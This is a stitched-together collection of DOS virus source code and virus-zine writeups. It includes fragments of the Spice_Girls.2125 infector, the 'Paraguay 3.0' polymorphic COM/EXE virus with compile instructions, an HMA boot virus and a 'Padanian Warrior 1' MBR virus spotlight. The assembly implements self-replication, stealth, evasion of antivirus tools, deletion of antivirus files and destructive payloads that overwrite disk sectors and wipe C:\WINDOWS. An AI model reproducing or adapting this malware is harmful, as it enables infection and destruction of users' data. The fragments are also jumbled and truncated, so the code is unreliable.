stc ; Set carry flag
ret ; Return!
endp
cmp ax,(code_end-head_begin)
jb tst_siz_exit ; Filesize too small? Jump to tst_...
cmp dx,00h ; Filesize too large?
ja tst_siz_exit ; Above? Jump to tst_siz_exit
cmp ax,0ea60h ; Filesize too large?
ja tst_siz_exit ; Above? Jump to tst_siz_exit
ret ; Return!
tst_siz_exit:
stc ; Set carry flag
ret ; Return!
endp
call cs:[int21_addr]
ret ; Return!
endp
infect_file proc near ; Infect COM file
mov ax,(4300h xor 'SG') ; Get file attributes
xor ax,'SG'
call int21_simula
mov cs:[file_attr],cx ; Store file attributes
jmp infect_exit_
load_info:
xchg ax,bx ; BX = file handle
call spice_oligo
ret ; Return!
endp
loop move_virus_
jmp encrypt_loop
encrypt_loop:
encrypt_algo equ byte ptr $+01h ; Encryption algorithme
sub es:[si],ax ; Encrypt two bytes
loop encrypt_loop
ret ; Return!
endp
ret ; Return!
tst_inf_exit:
stc ; Set carry flag
ret ; Return!
endp
ret ; Return!
endp
jmp_create:
jmp create_clean
nop
jmp_delete:
jmp delete_clean
create_clean:
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
loop move_name
jmp clean_exit
store_handle:
mov bp,ax ; BP = file handle
mov [file_handle_],ax ; Store file handle
lea si,filename ; SI = offset of filename
find_zero__:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
jne find_zero__ ; Not equal? Jump to find_zero__
jmp clean_exit
store_extens:
mov bx,ax ; BX = file handle
mov byte ptr [si],0ffh ; Store last byte of file extension
ret ; Return!
clean_exit:
mov [file_handle_],'SG'
ret ; Return!
delete_clean:
cmp cs:[file_handle_],bx
jne dont_delete ; Don't delete disinfected file
mov [file_handle_],'SG'
dont_delete:
ret ; Return!
ret ; Return!
endp
pre_tst_func:
mov cs:[dos_function],ah
mov cs:[file_handle],bx ; Store file handle
mov ah,cs:[dos_function]
mov bx,cs:[file_handle] ; BX = file handle
call test_functio
call int24_load
pop ds es di si bp bx dx cx ax
popf ; Load flags from stack
jmp int21_exit
db 0dh,0ah,'What? ''Error: invalid program''? Me? Fprot, are you crazy? :)'
db 0dh,0ah,'And you, Avp, ''EXE file but COM extension''. What a deep scan. ;)'
db 0dh,0ah,'Spice_Girls virus causes problems to your scan engine eh? :)'
db 0dh,0ah,'$'
header_begin:
exe_header db 'MZ' ; EXE signature
dw (pages_end-pages_begin) mod 200h
dw (pages_end-pages_begin)/200h
dw (relo_end-relo_begin)/04h
dw (head_end-head_begin)/10h
dw 00h,01h ; Minimum-, maximum number of para...
dw 0ffeah,stack_ptr ; Pointer to stack
db 'SG' ; Checksum
dd 0ffea00b2h ; Pointer to service request + 02h
dw relocations-100h ; Offset of relocations - 100h
dw 00h ; Overlay number (main program)
dd 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h
dd 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h
dd 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h
db 08h dup(00h)
db ' - Spice_Girls.2125 - '
dd 07h dup(0ffea00b2h) ; Seven pointers to service reques...
dw virus_begin ; Offset of virus_begin
dw 0ffeah ; Segment of virus_begin
dw crypt_begin ; Offset of crypt_begin
dw (crypt_end-crypt_begin)/02h
dw 00h ; 16-bit encryption/decryption key
header_end:
psp_segment dw ? ; Segment of PSP for current proce...
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
dos_function db ? ; DOS function number
name_pointer dd ? ; Pointer to filename
file_handle dw ? ; File handle
exe_head_sig dw ? ; EXE header signature
file_attr dw ? ; File attributes
file_time dw ? ; File time
file_date dw ? ; File date
origin_off dw terminate-100h ; Offset of original code
file_handle_ dw ? ; File handle
filename db 40h dup(?) ; Filename
crypt_end:
db 00h
code_end:
memory_end:
terminate:
mov ax,4c00h ; Terminate with return code
int 21h
db 241h dup(90h)
pages_end:
end head_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ
comment *
; This virii/worm hides is NUL-Space and Cypher Text (See my "Playing Hide and
; Seek" article) Once active this virus can not be detected by normal means.
; It hides in a file that has the same name as a NUL device driver. It also
; hides in a ZIP file that is password protected so AV programs won't detect it.
; It has an unusual payload: it creates those stupid EICAR test files all over
; the PC. It is network aware and only spreads by network drives. It works
; with Windows 95.
.286
start:
org $+04h
tail label byte
qseg ends
end start
Comment #
Characteristics
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
* Appending COM/EXE infector. COMs > 666 and < 60000 bytes
* Resident using Memory Control Block (MCB), hooks INT 21h.
* Fast infector. Infects on open, execution, rename, extended
open and get/change attributes.
* Doesn't reinfect memory or files.
* Directory and Handle stealth. Hides virus-size on ah=11h/12h/4eh/4fh.
* Turns off VSAFE's flags while analyzing or infecting files. When the
dirty work is finished, the flags are returned, except of the 'Write
Protect' one, coz caches may make troubles.
* Time Stealth (AX=5700h and 5701h), returns correct seconds and prevents
any program from setting normal seconds to an infected file.
* Handler Stealth (AX=2521H and 3521H), returns previous handler for
INT 21h when someone requests it, and when any program wants to get
control over INT 21h, it sets it as second handler, this way, the
virus is always first at INT 21h.
* Gets INT 21h vector tracing the Progam Segment Prefix (PSP), and if it
finds it, it uses this one, otherwise it uses INT 21h normally.
* Deactivates trap flag and INT 01h, in order to avoid tunneling on any
int we hook.
* On May (Paraguayan's independence day), if we get a random byte over
200, the virus dels every file and subdirectories on stinky and filthy
C:\WINDOWS, setting it as an alternative entrance to DOS (from old
CP/M).
* It dels ANTI-VIR.DAT, CHKLIST.CPS, CHKLIST.MS and AVP.CRC in the dir
where files are infected.
* Files infected are set to 60 seconds.
* Doesn't infect files ended with AN,AV,OT,RD,RU,IT,VP,SK,IP,RJ,AR,HA
so we dont have probs with suckers. Whenever it detects an execution
of any file with these endings, it deactivates stealth. Then there
are no problems with compressing programs (pkzIP, aRJ, rAR, lHA) and
various AV's. Whenever the program terminates its execution
(AH=4Ch/int 21h or INT 20h) it reactivates stealth.
* Sets its own code for handling Errors.
* Avoids infecting immunized files (CPAV) and DOS 7.0 .COM's.
* There's no viral activity if Novell Network is detected.
* It doesn't infect WINSLOWS .EXE files.
* It doesn't infect with a different length from that specified on the
header (overlayed .EXE's).
* Maintains Date + Time (sets seconds to 60 ;-).
* Returning control to .COM tries to infect COMMAND.COM.
Returning contorl to .EXE verifies the payload condition.
* Opens files in 'Read Only' mode, and manipulates the System File Table to
change to 'Read/Write' mode, save attribs and set them to normal. It also
resets the pointer.
* Kinda polymorphic, with random regs selection and garbage
adding in the decryptor. The opcodes table changes on each infection.
TO COMPILE IT ( I TASM, so I am )
* tasm parag-30.asm /m3
* tlink parag-30.obj
Also greetz to the gods: Vyvojar, F3161, Neurobasher, Masud & Dark Avenger.
.Model Tiny
.Code ; .Pseudocode would be better hehehe
Org 0h ; Yes, yes, yes; It's an EXE
Paraguay:
db 18 dup (090h) ; Buffer
call Paso1 ; Delta Offset
Paso1: nop
pop bp
Paso2: sub bp,offset Paso1 ; In BP goes delta (variable)
Junk02: db 8 dup (090h) ; In all labels Junk, garbage.
Paso3: mov bp,bp ; Used registers are selected
Junk03: db 4 dup (090h) ; randomly by the rnd code.
push cs ; DS:=CS
pop ds
Junk04: db 12 dup (090h)
Paso4: lea si,[bp+offset Jeroglifico] ; Index Register is variable
Junk05: db 6 dup (090h)
Paso5: db 081h,0c6h,0,0 ; ADD SI,0000
Junk06: db 10 dup (090h)
Paso6: push si ; Stack return address
Junk07: db 4 dup (090h) ; so RET jumps there.
Paso7: mov cx,Cripted/2 ; CX value is divided
Junk08: db 8 dup (090h)
Paso8: add cx,Cripted/2
Junk09: db 6 dup (090h)
NoHayNovell:
mov ax,0cd13h ; Hell Good Interruption! ;)
int 21h
cmp ax,013cdh ; Residency test.
jne Instalar ; Load virus into memory.
jmp MemoriaYaPodrida
dec ax
mov es,ax
mov word ptr es:[1],8 ; Virus? Nope... its DOS ;)
mov word ptr es:[8],'PY' ; Block's name: PY (Paraguay)
inc ax
mov es,ax
xor di,di
xor ax,ax
mov ds,ax ; DS:=0
mov dx,offset Maldita21h ; Gets INT 21h directly
mov word ptr ds:[21h*4],dx ; modifying the IVT
mov ds:[21h*4+2],es
MemoriaYaPodrida:
cmp byte ptr [bp+ComOexe],'C' ; What are we infecting?
je CorrerCOM
push cs ; DS:=CS
pop ds
mov ah,03bh
lea dx,[bp+Offset WindoSucks] ; Enter the directory
int 21h
jc LittleDamage ; Error Hmmm Lets fuck it anyway! ;)
LittleDamage:
in ax,40h
xchg dx,ax
xor dh,dh ; Just between the first 0xff sectores
mov al,2 ; Drive C:
mov cx,2 ; Smashs two random sectors
int 26h
SigaNomas:
push es ; Correct Data Segment
pop ds
mov ax,es
add ax,10h ; Because of the PSP
add cs:[(bx+CS_IP)+2],ax
CorrerCOM:
call Segmentos
mov ah,56h ; Rename! Hehe, just to infect
lea dx,[bp+offset CommandCom] ; COMMAND.COM, making sure we
mov di,dx ; get on memory early each day in
int 21h ; the morning.
Limpiar:xor ax,ax
xor bx,bx
xor cx,cx ; Clean registers
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret ; Run COM or return to caller
Stealth_Segundos2:
push dx
push cx ; Saves originals
mov ax,5700h ; Get date & time of the given handle
pushf
call dword ptr cs:[Real21h]
and cl,00011111b
cmp cl,00011110b ; ¨60 seconds? ¨Infected?
jne Tranquilopa
pop cx
and cl,11100000b ; Marks as infected
or cl,00011110b ; 30*2=60!
push cx
Tranquilopa:
pop cx
pop dx
mov ax,5701h ; Set the date & time
pushf
call dword ptr cs:[Real21h]
iret
Stealth_Segundos1:
pushf
call dword ptr cs:[Real21h] ; Do the real int
push cx
and cl,00011111b
cmp cl,00011110b ; ¨60 seconds?
jne NoPasaNada
pop cx
and cl,11100000b ; Erase erronous infect mark
or cl,1 ; 1*2=2 seconds
push cx
NoPasaNada:
pop cx
iret
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Maldita21h: Its the INT 21h handler set by Paraguay 3.0 !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Maldita21h proc far ; My INT 21h
push ds
push si
push ax ; Saving the registers I'll use.
push bx
pushf
pop ax ; Get flags into AX
and ah,11111110b ; Zero out Trap Flag used for
push ax ; tunneling
popf ; And load modified flags from AX
sub ax,ax
mov ds,ax ; DS:=0 = IVT
mov bx,4 ; 0000:0004 = Int 1h handler
lds si,[bx] ; DS:SI = " " "
mov bl,byte ptr [si] ; Handler's first byte in bl
mov byte ptr [si],0cfh ; That is an InterruptionRETurn
pop bx
pop ax ; Restore registers
pop si
pop ds
Ocultar21h_A:
mov bx,cs:[word ptr Abuela21h] ; Old handler into ES:BX
mov es,cs:[word ptr Abuela21h+2]
iret
Ocultar21h_B:
mov cs:[word ptr Abuela21h],dx ; Set DS:DX as second handler
mov cs:[word ptr Abuela21h+2],ds; in the chain.
iret ; Viruses first ;)
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Stealth1: Edit File Control Block size to hide the al virus !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Stealth1: ; FCB stealth
pushf
call dword ptr cs:[Abuela21h]
or al,al ; al = 0?
jne ErrorDir ; Puaj! Error :-(
push ax
push bx ; Save this regs into the stack
push es
mov es,bx
cmp bx,es:[16h] ; Correct PSP?
jne Fuera ; Nope, chau.
FCBComun:
mov al,byte ptr es:[bx+17h] ; True Seconds...
and al,00011111b
cmp al,00011110b ; 60 seconds?
jne Fuera
Sustraer:
sub word ptr es:[bx+1dh],Largor
sbb word ptr es:[bx+1fh],0000 ; Substract virus size
or byte ptr es:[bx+17h],1 ; Hide the seconds
Fuera: pop es ; Pop modified regs
pop bx
pop ax
ErrorDir:
retf 2 ; IRET maintaining flags
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Stealth2: Edit Disk Transfer Area size to hide the virus !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Stealth2: ; Handle stealth
pushf
call dword ptr cs:[Abuela21h]
jc Demonios ; If carry is set...-ERROR!
pushf
push ax
push es
push bx
Paso: pop bx
pop es
pop ax
popf
Demonios:
retf 2 ; RETurn
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Manejador24h: Pseudo-error-handler, so as to avoid write protect errors !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Manejador24h proc near ; Dumb critic error handler
mov al,03
iret ; -It's nothing, officer...
Manejador24h endp
SoloPopear:
jmp JustPOPs
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Analizar: Analize and eventual infection of file given in DS:DX !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Analizar: ; Examine victim
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
No_Apertura_Extendida:
push ax
push dx ; V¡ctim
push ds
push ax
Actuar: pop ax
cmp ah,04bh ; Will junk be exec'ed?
jne Maldito_Jump5
mov byte ptr cs:[HacerStealth],0; Turn stealth off
jmp short Maldito_Jump5
IsNotEvilSoft:
xchg si,di ; Check ext
lodsw
or ax,2020h ; Uncapitalize
cmp ax,'oc' ; .CO?
jne VerEXE3
lodsb
or al,20h
cmp al,'m' ; .COM?
je Label3
Maldito_Jump5:
jmp PopAll ; Abort mission
push cs
pop ds
mov ah,41h ;
mov dx,offset Basura1
int 21h
call AlFinal
cmp ax,60000d ; Check size
ja Maldito_Jump6
cmp ax,029Ah ; Hi there spanish pals ;-)
jbe Maldito_Jump6
mov ah,40h
mov cx,Largor
mov dx,offset CopiaVir
int 21h ; ADD file,virus
call AlFinal
mov bx,[Handle]
call Manipular_SFT
mov ah,40h
mov cx,Largor ; Stack virus at the end
mov dx,offset CopiaVir
int 21h
PopAll: push cs
pop ds
JustPOPs:
pop es ; Pop all regs
pop ds ;
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[Abuela21h]
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! HIPOCRESIA: Mute decryptor opcode x opcode. Copy heap (between others) !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
HIPOCRESIA:
call segmentos
DamePalabraRandomica:
in ax,40h ; Encryption key
or ax,ax
je DamePalabraRandomica
mov [Clave],ax
in al,40h
cmp al,85
jb Cambia3 ; Select index register
cmp al,170
jb Cambia2
mov bx,offset Paso4 ; LEA SI,[BP+XX]
mov [bx],0b68dh
mov bx,offset Paso5
mov [bx],0c681h ; ADD SI,XX
mov bx,offset Paso6
mov [bx],0b956h ; PUSH SI / MOV CX
mov bx,offset Paso9
mov [bx],03481h ; XOR WORD PTR [SI]
mov bx,offset Paso10
test al,3 ; Use other way
jz MasPoly
mov [bx],04646h ; INC SI / INC SI
jmp AlBuffer
MasPoly:mov [bx],0acach ; LODSB / LODSB
jmp AlBuffer
Cambia2:mov bx,offset Paso4 ; LEA BX,[BP+XX]
mov [bx],09e8dh
mov bx,offset Paso5
mov [bx],0c381h ; ADD BX,XX
mov bx,offset Paso6
mov [bx],0b953h ; PUSH BX / MOV CX
mov bx,offset Paso9
mov [bx],03781h ; XOR WORD PTR [BX]
mov bx,offset Paso10
mov [bx],04343h ; INC BX / INC BX
jmp AlBuffer
Cambia3:mov bx,offset Paso4 ; LEA DI,[BP+XX]
mov [bx],0be8dh
mov bx,offset Paso5
mov [bx],0c781h ; ADD DI,XX
mov bx,offset Paso6
mov [bx],0b957h ; PUSH DI / MOV CX
mov bx,offset Paso9
mov [bx],03581h ; XOR WORD PTR [DI]
mov bx,offset Paso10
mov [bx],04747h ; INC DI / INC DI
AlBuffer:
mov cx,200d ; Change opcode order in the table
call MuTabla ; named MontonDeBasura
sub dx,dx
mov bx,offset Ensuciar ; Add random garbage to the decryptor
Basureo:xor cx,cx
mov cx,[bx]
inc bx
inc bx
push bx
push dx
mov bx,[bx]
call Ygramul
pop dx
pop bx
inc bx
inc bx
inc dx
cmp dx,13
jb Basureo
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! PongoFecha: Restore victims date, and time with secs=60 !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
PongoFecha:
mov ax,5701h ; Set
db 0b9h ; mov cx,time
Time dw 0 ; Last modified time
and cl,11100000b ; Set as infected
or cl,00011110b ; 30*2=60!
db 0bah ; mov dx,date
Date dw 0 ; Last modified date
pushf ; Call handler directly
call dword ptr cs:[Real21h]
ret ; And return
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Sub-Rutine used for pointer moves up to the end !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
AlFinal:mov ax,04202h ; To the end
xor cx,cx
cwd ; XOR DX,DX
int 21h
ret
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! MUTABLA: Exchange the trash opcodes position !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
MuTabla:xor ax,ax
in al,40h ; Random number from port 40h
test al,1 ; Is it even?
jz YaEsPar
inc al ; If not, make it even
YaEsPar:mov si,offset MontonDeBasura ; The table
add si,ax ; Get a 2 byte-instruction
mov dx,[si] ; into DX
xor ax,ax
in al,40h ; Another random number
test al,1 ; If not even, make it even
jz Alli
inc al
Alli: mov di,offset MontonDeBasura ; Garbage 2-byte table
add di,ax ; Get the instruction
mov bx,[di] ; into bx
mov [si],bx ; Exchange its positions
mov [di],dx
loop MuTabla ; CX times
ret
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! YGRAMUL: Chose random junk-instructions and put them into memory !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Ygramul:xor di,di ; Garbage intruder
Otro: xor ax,ax ; Ygramul, the mutant in Endless Story
in al,40h ; Random number
test al,1 ; Is it even?
jz Aqui
inc al ; Nope, add one
Aqui: mov si,offset MontonDeBasura
add si,ax ; Get the instruction
mov ax,si
mov dx,[si]
mov [bx],dx ; Write it in its position
inc bx ; add bx,2 (index)
inc bx
inc di ; Update the counter
cmp di,cx ; Enough?
jne Otro
ret
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Mont¢nDeBasura: The garbage instruction which variate the decryptor !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
MontonDeBasura: ; garbage heap
; Instrucci¢n Opcode
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä Ä Ä Ä Ä ÄDLE
db 087h,0c0h ; xchg ax,ax
xchg bx,bx ; 87 DB
xchg cx,cx ; 87 C9
xchg dx,dx ; 87 D2
xchg si,si ; 87 F6
xchg di,di ; 87 FF
xchg bp,bp ; 87 ED
xchg al,al ; 86 C0
xchg bl,bl ; 86 DB
xchg cl,cl ; 86 C9
xchg dl,dl ; 86 D2
xchg ah,ah ; 86 E4
xchg bh,bh ; 86 FF
xchg ch,ch ; 86 ED
xchg dh,dh ; 86 F6
cld ; FB
int 03h ; CC
nop ; 90
nop ; 90
pushf ; 9C
popf ; 9D
push es ; 06
pop es ; 07
inc ax ; 40
dec ax ; 48
inc bx ; 43
dec bx ; 4B
inc cx ; 41
dec cx ; 49
inc dx ; 42
dec dx ; 4A
std ; FD
cld ; FC
stc ; F9
clc ; F8
jmp short $+2 ; EB 00
jc $+2 ; 72 00
jnc $+2 ; 73 00
jz $+2 ; 74 00
jnz $+2 ; 75 00
jpo $+2 ; 7B 00
jpe $+2 ; 7A 00
jno $+2 ; 71 00
jg $+2 ; 7F 00
js $+2 ; 78 00
or ax,ax ; 0B C0
or bx,bx ; 0B DB
or cx,cx ; 0B C9
or dx,dx ; 0B D2
or si,si ; 09 F6
or di,di ; 09 FF
or bp,bp ; 09 ED
or ah,ah ; 08 E4
or al,al ; 08 C0
or bh,bh ; 08 FF
or bl,bl ; 08 DB
or ch,ch ; 08 ED
or cl,cl ; 08 C9
or dh,dh ; 08 F6
or dl,dl ; 08 D2
and ax,ax ; 23 C0
and bx,bx ; 23 DB
and cx,cx ; 23 C9
and dx,dx ; 23 D2
and si,si ; 21 F6
and di,di ; 21 FF
and bp,bp ; 21 ED
and ah,ah ; 20 E4
and al,al ; 20 C0
and bh,bh ; 20 FF
and bl,bl ; 20 DB
and ch,ch ; 20 ED
and cl,cl ; 20 C9
and dh,dh ; 20 F6
and dl,dl ; 20 D2
mov ax,ax ; 89 C0
mov bx,bx ; 89 DB
mov cx,cx ; 89 C9
mov dx,dx ; 89 D2
mov si,si ; 89 F6
mov di,di ; 89 FF
mov bp,bp ; 89 ED
mov sp,sp ; 89 E4
mov ah,ah ; 88 E4
mov al,al ; 88 C0
mov bh,bh ; 88 FF
mov bl,bl ; 88 DB
mov ch,ch ; 88 ED
mov cl,cl ; 88 C9
mov dh,dh ; 88 F6
mov dl,dl ; 88 D2
cmp ax,ax ; 3B C0
cmp ax,bx ; 3B C3
cmp ax,cx ; 3B C1
cmp ax,dx ; 3B C2
cmp ax,si ; 3B C6
cmp ax,di ; 3B C7
cmp ax,bp ; 3B C5
cmp bx,ax ; 3B D8
cmp bx,bx ; 3B DB
cmp bx,cx ; 3B D9
cmp bx,dx ; 3B DA
cmp bx,si ; 3B DE
cmp bx,di ; 3B DF
cmp bx,bp ; 3B DD
cmp cx,ax ; 3B C8
cmp cx,bx ; 3B CB
cmp cx,cx ; 3B C9
cmp cx,dx ; 3B CA
cmp cx,si ; 3B CE
cmp cx,di ; 3B CF
cmp cx,bp ; 3B CD
cmp dx,ax ; 3B D0
cmp dx,bx ; 3B D3
cmp dx,cx ; 3B D1
cmp dx,dx ; 3B D2
cmp dx,si ; 3B D6
cmp dx,di ; 3B D7
cmp dx,bp ; 3B D5
cmp si,ax ; 3B F0
cmp si,bx ; 3B F3
cmp si,cx ; 3B F1
cmp si,dx ; 3B F2
cmp si,si ; 3B F6
cmp si,di ; 3B F7
cmp si,bp ; 3B F5
cmp di,ax ; 3B F8
cmp di,bx ; 3B FB
cmp di,cx ; 3B F9
cmp di,dx ; 3B FA
cmp di,si ; 3B FE
cmp di,di ; 3B FF
cmp di,bp ; 3B FD
cmp bp,ax ; 3B E8
cmp bp,bx ; 3B EB
cmp bp,cx ; 3B E9
cmp bp,dx ; 3B EA
cmp bp,si ; 3B EE
cmp bp,di ; 3B EF
cmp bp,bp ; 3B ED
This virus uses HMA memory extensively. It boots directly into the HMA by the
brute force method. It then waits till DOS loads then creates a random file
and adds an Install= statement to the CONFIG.SYS that loads the virus again
into the HMA (not bad for 512 bytes.) Also works with Windoze 95.
.286
org 001eh
org 001aeh
org 001fdh
org $+02h
vbuffer label byte ;where the reads/writes are
org $+0202h
tail label byte ;the end
qseg ends
end
comment *
Virus spotlite: Padanian Warrior 1
by b0z0/iKx, Padania 1997
Virus Description:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
This is a very cool boot virus that infects the MBR of the hard disk
and infects any floppy disk that is accessed via DOS. This boot virus is
extremely compact and implements a lot of interesting methods and tricks.
The Padanian Warrior 1 in fact:
-> Doesn't allocate memory
-> Infects the MBR using ports
-> Makes booting from a floppy quite hard
-> Uses the 18_tech
-> Uses 386 instructions
-> Full stealth on MBR
-> Read stealth on floppy boot
-> Has a very cool method to activate the payload
-> Has a destructive payload
Of course as you may suppose due to space restriction (hey, don't say "I may
do that 25 bytes shorter" :) ) there are also some bad things in this virus,
but these will be shown later.
Now let's examine deeper every aspect of this cool virus...
Virus residency:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
The virus uses a quite good way of going resident and doing his work. In fact
the virus won't allocate as usually some memory but will rather copy itself
into an unused part of the Interrupt Vector Table. Since 200h bytes may be too
much and may cause some problems with the interrupts (since you may have to
find a place with 80h unused ints) the virus will use just a little
(3Ch bytes) part of the IVT. Here the virus will copy just the vital part of
itself (this is the interrupt handler) that will provide when necessary to
load the rest of the virus body.
The virus will be copied always from 0:300 up to 0:33Ch. Another good trick
that the virus uses is to use a piece of the copied part to call the original
interrupt vector. In fact the virus will store the old interrupt vector in the
dword at 0:338h. This of course will be used to chain the call to the original
interrupt handler (doing a jmp far). But on the other side the dword at 0:338h
is also the dword for the seg:off of the interrupt number 0CEh. So the virus
instead of doing some space-consuming calls or something will just call the
interrupt 0CEh when it will need to do a call to the original Int13h (AV
name came just from this use of the 0CEh interrupt).
As already mentioned the virus uses the 18_tech (look in Xine #2 for more
explanations about this), so it won't issue any problem using windows and
will be less AV-noticeable.
The handler will check for reads or writes on the first sector of disks and
floppyes. When one interesting call is encountered the virus will save 400h
bytes from the user's buffer (this is from ES:BX) to a buffer on the hard
disk (two sectors after the virus body on the disk). Then the virus will load
its entire body in the user's buffer from the hard disk and will jump (push
seg:off and do a retf) to the just readed infection/stealth part.
If the user requested a write on the MBR the virus will just change the
call to a disk reset, if a read on the MBR occours the virus will return
the original MBR, if a write on a floppy occours the virus will just leave it
to proceed and finally if a read on the floppy is requested the virus will
infect it and then will stealth the read returning a normal DOS boot.
Of course the data that is returned for the stealth is written on the
previsiously mentioned hard disk buffer. Infact at the end of the work the
virus will jump back to the virus body permanently in memory and will just
reread to ES:BX the hard disk buffer (that may have been changed also by the
stealth routines).
First of all the virus will save itself and the original MBR on two sectors
starting from 0,0,5 (cyl,side,sector) on the hd. Then it will change the
partition table of the 'new' MBR in this way:
ÖÄÄÄÄÒÄÄÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
º N. º TYPE º Partition start º
º º º C / H / S º
ÇÄÄÄÄ×ÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º 1 º orig º 0 / 0 / 5 º
º 2 º ext. º 0 / 0 / 4 º
ÓÄÄÄÄÐÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
So the first entry (the orig in type means that it will just leave the same
as it was before) will point to the virus body on the disk (so it will be
loaded at each boot from that hard disk). The second partition will point to
another modified MBR copy that the virus will put on the disk. In this second
modified MBR (at 0,0,4) the virus will just leave one extended partition that
will point to the same sector (this is to again to 0,0,4).
So if the user will try to do a boot from a clean floppy disk DOS will go
in an infinite loop looking for some other extended partition :) Of course
if the virus is active the MBR stealth provides to give the saved good MBR
when needed. Just some specific versions of DOS are able to boot from an
infected PC.
To avoid some BIOS virus protections the virus uses ports to write to the
MBR. The routine to do this is incredibly short and efficent. It consist of
a first part where the virus initializes the controller to the write (this
is just a loop using a table for the initialization sequence) and then after
a pause it will send the 200h bytes that must be written.
As for stealth the virus will just give to the user a copy of the sector
from the hard disk from 0,1,1 after coping the original BPB from the floppy
disk to the right place. This stealth method counts on the fact that usually
DOS is installed at 0,1,1 so there may be a good DOS boot sector to be used
for stealth.
Payload activation:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Also the payload activation is intelligent (even if, in my opinion, the
payload isn't). At every boot from the MBR the virus will decrement a payload
counter by one (at virus installation this will be initialized to 78h) and
when it will come to zero the payload will be activated. The real cool thing
is that on every succesfull floppy disk infection the payload counter will be
incremented by two, so on machines with a good traffic of floppyes (hehe, a
good virus distro :) ) the payload may never activate. On the other side on
closed machines that don't spread the virus the payload may activate faster.
This is a good idea, since it may not be a good thing to activate the payload
(and make anyone to understand that a virus is around by trashing all the
data on the hard disk) on a PC where a lot of floppyes are moving everyday
(for example in a PC shop, in a school or in an office), while an isolated
machine that doesn't give any profit to the virus may be attacked.
Other goodies:
